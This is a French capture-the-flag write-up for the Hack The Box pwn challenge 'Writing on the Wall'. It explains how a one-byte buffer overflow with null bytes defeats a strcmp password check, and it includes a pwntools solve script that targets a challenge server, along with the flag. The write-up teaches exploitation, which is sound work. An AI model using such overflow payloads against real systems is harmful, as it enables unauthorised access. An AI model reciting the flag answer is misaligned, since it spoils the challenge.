Writing on the Wall
Catégorie: Pwn Difficulté: very-easy Flag: HTB{3v3ryth1ng_15_r34d4bl3}
Challenge
Description
As you approach a password-protected door, a sense of uncertainty envelops you—no clues, no hints. Yet, just as confusion takes hold, your gaze locks onto cryptic markings adorning the nearby wall. Could this be the elusive password, waiting to unveil the door's secrets?
Ce challenge tourne sur un docker, disponible sur Github
Analyse du binaire
Après décompilation, on obtient à peu près ce code (avec quelques modifications de noms de variables)
int main(void) {
long lVar1;
int iVar2;
long in_FS_OFFSET;
char buffer [6];
char password [8];
lVar1 = *(long *)(in_FS_OFFSET + 0x28);
password = "w3tpass ";
read(0, buffer, 7);
different = strcmp(buffer,password);
if (different == 0) {
open_door();
}
else {
error("You activated the alarm! Troops are coming your way, RUN!\n");
}
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
__stack_chk_fail();
}
return 0;
}
On peut voir que l’on récupère 7 octets de l’input et qu’on les places dans la variable buffer
qui en fait seulement 6. Autrement dit, on a un dépassement de tampon et ce 7ème octet terminera dans le premier de la variable password
.
Donc si l’on met un NULL byte, soit \x00
en 7ème position, la chaîne de caractère de paswword
commencera par \x00
et donc lors de la comparaison, elle se termina aussi tôt, oubliant les caractères suivants.
On peut faire la même chose avec notre input, le faire commencer par \x00
pour faire croire à une chaîne vide.
Ainsi, si notre input ressemble à \x00?????\x00
(où les ?
peuvent être n’importe quoi), la fonction pensera comparer deux chaînes vides, c’est à dire deux chaînes identiques et appellera donc open_door()
Script de résolution
from pwnlib.tubes.remote import remote
def solve(host, port):
client = remote(host, port)
client.recvuntil(b'>> ')
payload = b"\x00ZBEUB\x00"
client.send_raw(payload)
flag = client.recvline().decode().split(': ')[1].strip()
print(f"Flag: {flag}")
if __name__ == '__main__':
solve('83.136.251.7', 50560)
Dernière mise à jour
Cet article vous a-t-il été utile ?